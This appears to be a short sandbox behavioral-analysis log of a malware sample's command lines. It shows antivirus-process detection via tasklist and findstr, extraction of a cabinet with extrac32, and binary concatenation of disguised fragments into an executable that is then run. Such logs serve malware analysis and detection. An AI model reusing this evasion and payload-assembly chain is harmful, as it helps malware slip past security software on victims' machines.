Behavioral Analysis

findstr.exe findstr /I "opssvc wrsa"

tasklist.exe tasklist

tasklist.exe tasklist

findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"

cmd.exe cmd /c md 634977

extrac32.exe extrac32 /Y /E Gtk

findstr.exe findstr /V "Constitution" Wagon

cmd.exe cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com

cmd.exe cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q

Surrey.com Surrey.com Q

choice.exe choice /d y /t 5